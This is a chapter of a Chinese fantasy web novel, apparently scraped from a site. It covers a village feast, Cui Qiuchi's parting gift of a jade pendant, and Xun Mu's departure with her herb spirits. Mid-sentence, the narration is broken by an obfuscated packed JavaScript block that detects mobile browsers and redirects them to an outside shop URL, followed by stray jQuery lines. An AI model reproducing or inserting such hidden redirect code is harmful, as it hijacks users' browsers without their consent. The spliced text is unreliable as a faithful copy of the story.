夜晚的时候,村里摆出了流水席,现杀的羊被架在篝火上,香味飘出去老远,寻木找了个无人的地方,躲崔虬炽躲了一下午,直到闻到烤羊的香味,才寻着香味来到村口的位置。
一村的人已经坐在桌子上,有吃有喝的闹了起来,他们见寻木出现,都纷纷站起来,对她表达他们最高的尊敬。
寻木被这样注视着,一时间有些不好意思,直到有股炽热的视线越过人群,她抬起头,见人群里,崔虬炽正直直看她。
茜草拽着寻木耳下的头发,“快去,快去啊!就等你开席了!”
“你确定?”寻木见路过的村民嘴边都有了油花。
“这么多好吃的,你还指望他们等你啊?”茜草掐着腰,“主人那桌能等你,都是最好的礼仪了!”
寻木见茜草留下的口水,不忍再看它那副馋样。
“这烤羊味道太香了吧?怎么会有这么香的味道?”
寻木懒得理它,她走到主桌,见崔虬炽、慕彦、慕大慕小,就连慕胖与他的女娃都在,她笑着打招呼,“好热闹啊!”
“寻姑娘到了,我们就开羊了!”
“好!”
“噢!”
在众人的欢呼下,那只烤得流油的羊被抬到空桌上,很快被分割好,挨桌都送一盘上去,轮到寻木这桌,是最好的羊腿。
茜草馋的不行,口水都快流下来了!寻木嫌弃的将它递给崔虬炽,崔虬炽毫不犹豫的伸手接过,将它放到面前的餐盘内,将一片切好的羊腿肉放到盘内,后者就开始大口朵颐。
“下午去哪了?”崔虬炽问她。
寻木指了指不远处的山林,“去林子里逛了逛。”
“为什么没叫我?”
寻木撇了他一眼,尽量回避之前的问题,“看你忙啊。”
崔虬炽又夹了一片羊肉递给寻木,“喜欢的话,让慕素学学,后期做给你吃。”
毕竟吃人手短,寻木微笑的点点头,内心对崔虬炽喂食这点十分赞同!
寻木从怀里掏出一个瓶子,放到崔虬炽面前,自己仍然低头吃着碗里的饭菜。
站在身后的慕素上前,右手将药碰到瓶子时,被崔虬炽一把拿过,“这是什么?”
“之前看你眼睛似乎有问题,这是用决明子药灵的制作的药,你可以试试。”
“你怎么知道的?”
“先前我们去市场买菜,就发觉不对劲,但那时我什么都没有,也帮不上你,现在决明子回来了,它本身就是治疗眼疾的药材,正好可以给你治眼。”
崔虬炽摩挲着瓷瓶,眼神打量着寻木,男子低头,轻轻一笑,摇了摇瓶子,“是液体?”
“滴到眼睛里。”
崔虬炽举起瓶子,慕素在身后急呼:“公子,不可!”
崔虬炽从小到大想杀他的人无数,他所有饮食与贴身的物品,都需经过暗卫的尝试与检查才能使用……
“信不信由你。”寻木看不都没看两人的互动,只一味的吃着面前的美食。
崔虬炽将瓶子揣入怀中,“这份礼物我收下了。”
寻木无所谓的点点头。
“我要离开些日子。”崔虬炽望着热闹的人群,声音清冷。
寻木前一刻还抿起的唇角缓缓地放了下来,她又吃了一口羊肉,奇怪,怎么没有刚才好吃了?
崔虬炽见对方对他的离开,毫无反应,叹了口气,“我到底是为了谁,才暴露了行踪?”
“你说什么?”寻木瞪着他。
见她终于有了反应,崔虬炽淡笑着,从腰间拽下那枚时常被他摩挲的玉佩,递给寻木,“我不在这些日子,如果遇到麻烦,就拿着这个去望星斋找掌柜,他会为你解决。”
——慕素的眼睛,再一次睁大了!
寻木诧异的看着他,“望星寨?那个开满整个大庆的当铺?那是你的家产?”
崔虬炽敲了敲她额头,“怎么这么财迷?”
“有钱好啊!”寻木羡慕的看他,“有钱就可以随心所欲的买自己想要的东西,开开心心过好每一天!”
崔虬炽将玉佩拿起,塞到寻木的手中,“别装想着银子金子的,拿好这个玉佩。”
“玉佩哪有金子银子值钱?”
崔虬炽的手握紧寻木的手,两人手心里的玉佩胳在两人手心,威胁道:“这个玉佩是我家的传家宝,将来娶媳妇用的!如果你弄丢了,你就把自己赔我给我!”
——慕素在身后捂住了眼睛,公子啊,这何止是传家宝?
“切。”寻木将手从崔虬炽手心里拔出来,乖乖的将玉佩放好。
崔虬炽见她难得乖巧,摸了摸她的发顶,“看我干什么?”
“看你真会煞风景。”
“……”
那一夜闹得厉害,村民们起先还老实点,只敢附近桌敬酒,慢慢得酒精上头,热闹起来,他们就来主桌敬酒,喝到最后,寻木也不知道怎么回去的,只印象中,崔虬炽端着酒杯,一杯一杯的喝,把敬酒的人都挡了下来,再后来,敬酒的人都趴在了地上……
第二日醒来,慕彦焦急的站在门外敲门,“寻姑娘,寻姑娘!”
寻木穿好衣服,起身,“怎么了?”
“崔公子的房间,没有人了!”
寻木的心落了一下,随即她淡淡的笑笑,“没事,他们有事先行离开了。”
慕彦叹了口气,“怎么连招呼都没打,就这样离开了!”
是啊,只是,没有告别,也没有再见。
寻木不着痕迹的摸了摸心口的位置,“崔公子是贵人,自然事多。”
对于那点小失落,可能只是因为有点有点落差罢了。
寻木在我安慰道。
“慕伯,我们今天也要离开了。”
“你们?”慕彦看着坐在寻木肩膀上的茜草,一时间眼眶有些红了,“你们也要走了吗?”
寻木点点头,指了指身后收拾好的包裹,“慕属村的疫病都无大碍了,是时候离开了。”
“寻姑娘。”慕彦唤她。
寻木看他。
慕彦对着寻木深深的举了一躬,“感谢姑娘的救命之恩。”
“您客气了。”
慕彦再次鞠躬,“寻姑娘,我想再见一见决明子。”慕彦就这样一直鞠着躬,固执的不再起身,
寻木见状向后推了一步,她看了一眼右臂,“慕伯,不是我不想让您见,只是决明子至今都还未醒。”
慕彦的神情一瞬间暗淡了下去,他羡慕的看着茜草坐在寻木肩膀上的样子,“寻姑娘,昨日老夫做了一个梦。”
“我梦见初
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310449|198807||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
识决明子的时候,它正在解一盘死局,我们争执了起来,到最后都没分出胜负。”
那是一个午后,一个老人与一株药草,执着黑白棋子,下棋的模样。
“对于你们的过往,我不好评判什么。”寻木理智的拒绝他的一面之词。
慕彦叹了口气,“寻姑娘,决明子醒来的时候,麻烦你给我捎个话吧?”
“您说。”
“我会一直等它回来下棋。”
寻木点点头,“我一定带到。”
慕彦神情悲伤的看着寻木与茜草,寻木默默的拾起行李,“慕伯,我们走了。”
“寻姑娘,有缘再见。”
寻木带着行李,趁着天还未亮的时候,离开了慕彦的家,避开村民,默默的离开了慕属村。
直到他们走出慕属村很远,见四周无人之时,寻木举起右手,对着隐隐闪烁的《佰草集》道:“决明子,你都听见了?”
胳膊里的声音闷闷的,“听见了。”
“那为什么不跟他好好道别呢?”
——就好像那个不告而别的崔虬炽一样!
“说什么呢?”
“说再见呀。”
“寻木,人类的生命短短几个春秋就过去了,我们此趟离别,再见面时,他还在吗?”
——他还在吗?
一时间问得寻木都感觉呼吸困难。
“决明子,人类说再见,不是为了死亡去的。”
“可是,我与他的再见,不就是自欺欺人吗?”决明子的声音沉了下来,“事实上,我们再也见不了了。”
“你想回去陪他吗?”寻木停止向前的脚步,认真的问他。
决明子数着根系上已经所剩无多的根须,“当初我们是很好的朋友,一起下棋一起聊天,但也确实是他骗我,只要我牺牲自己,救可以救全村的人……
茜草挽着枝桠,“你看,我说就是他吧!他还装可怜,还想再见决明子!我这就回去煮了他!”
寻木一把把它抓了回来,“你先听决明子说完!别冲动!”
“后来我才知道,是那对母女的计划,跟慕彦没有关系。”
“那没有关系,你为何?”
“只是想到曾经我怀疑过他,憎恨过他,我被煮过,我就不想再见他了。”
寻木将手探入《佰草集》内,将爱哭的决明子抱出来,“不想见就不见,谁被煮过,被牺牲过,都不会轻易原谅的,如果无法原谅,那就不用原谅。”
决明子抱了抱寻木,“寻木,我好想你。”
“唉。”茜草想起过去,重重的叹了口气,“要不是救你,寻木也不用消耗那么多精气。”
“寻木,你为了我……”
寻木瞪了茜草一样,“决明子乖乖,我也好想你哦~还是你最乖,一回来就回到《佰草集》里了,不像某药……”
茜草骄傲的撇过一边,“不知道谁差点死了,让我救了……”
“我才没有……”
见茜草与寻木打打闹闹起来,决明子无奈的摇摇头,它望了一眼遥远的慕属村,那村子随着他们离开的步伐,越来越小,越来越远……
人类的生命寥寥几年,其实,我只是不知道该怎么面对他……
面对那个垂垂老矣的玩伴而已。